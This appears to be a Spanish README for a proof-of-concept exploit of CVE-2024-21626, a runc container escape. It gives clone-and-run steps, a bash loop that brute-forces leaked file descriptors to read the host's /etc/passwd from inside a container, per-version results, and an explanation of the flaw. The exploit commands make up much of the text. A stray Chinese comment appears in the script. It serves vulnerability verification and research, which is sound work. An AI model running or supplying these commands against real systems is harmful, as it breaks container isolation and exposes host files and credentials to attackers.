CVE-2024-21626

Explotación:

1. git clone https://github.com/cdxiaodong/CVE-2024-21626

2. docker-compose up

Verificación: si se obtiene el /etc/passwd del host, la vulnerabilidad está presente.

Entorno: runc: >=v1.0.0-rc93,<=1.1.11

Detalles y principio del ataque: En las versiones afectadas de runc, debido a que se filtran algunos descriptores de archivo internos durante el proceso de inicialización, incluido un manejador del /sys/fs/cgroup del host, runc no verifica si el directorio de trabajo final se encuentra dentro del namespace de montaje del contenedor. Un atacante puede modificar la configuración process.cwd a /proc/self/fd/7 o reemplazar la ruta específica pasada en el parámetro --cwd al invocar runc exec desde el host por un enlace simbólico /proc/self/fd/7/, permitiendo así que los procesos dentro del contenedor accedan y operen sobre el sistema de archivos del host, evadiendo el mecanismo de aislamiento del contenedor. Más detalles (imagen gif):

1. El atacante utiliza un paquete docker-poc propio para explotar la vulnerabilidad CVE-2024-21626 runc process.cwd y fds filtrados: fuga del contenedor | Snyk (snyk.io)
2. Esta imagen docker aún no se ha publicado como código abierto en la red pública (20240201)
3. Lógica de modificación del código fuente oficial: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
4. Runc vulnerable a la fuga de contenedores mediante el truco de Process.CWD y FDS filtrados · CVE-2024-21626 · Base de datos de avisos de GitHub

CVE: CVE - CVE-2024-21626 (mitre.org) Descubridor de esta vulnerabilidad: CVE-2024-21626 runc process.cwd y fds filtrados: fuga del contenedor | Snyk (snyk.io)

El fd real puede variar según el orden de apertura de los archivos; se puede usar el siguiente script para realizar fuerza bruta.

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录，并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Prueba local exitosa: fd/9 lo logra, runc-version: 1.1.10 1.1.2

Cuando runc --version es 1.0.0

Cuando runc --version es 1.1.4, fd/8 lo logra

Esta vulnerabilidad acaba de salir hoy. A continuación, se presentan más detalles.

Se puede reproducir con los siguientes métodos:

1. runc - input: compilación manual con puntos de interrupción
2. ebpf para monitorear runc y establecer puntos de interrupción
3. runc create demo runc exec demo ls /proc/1/fd -a permite ver directamente el enlace simbólico correspondiente
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd (fuerza bruta)

todo: Obtener df mediante puntos de interrupción de runc para implementar la automatización.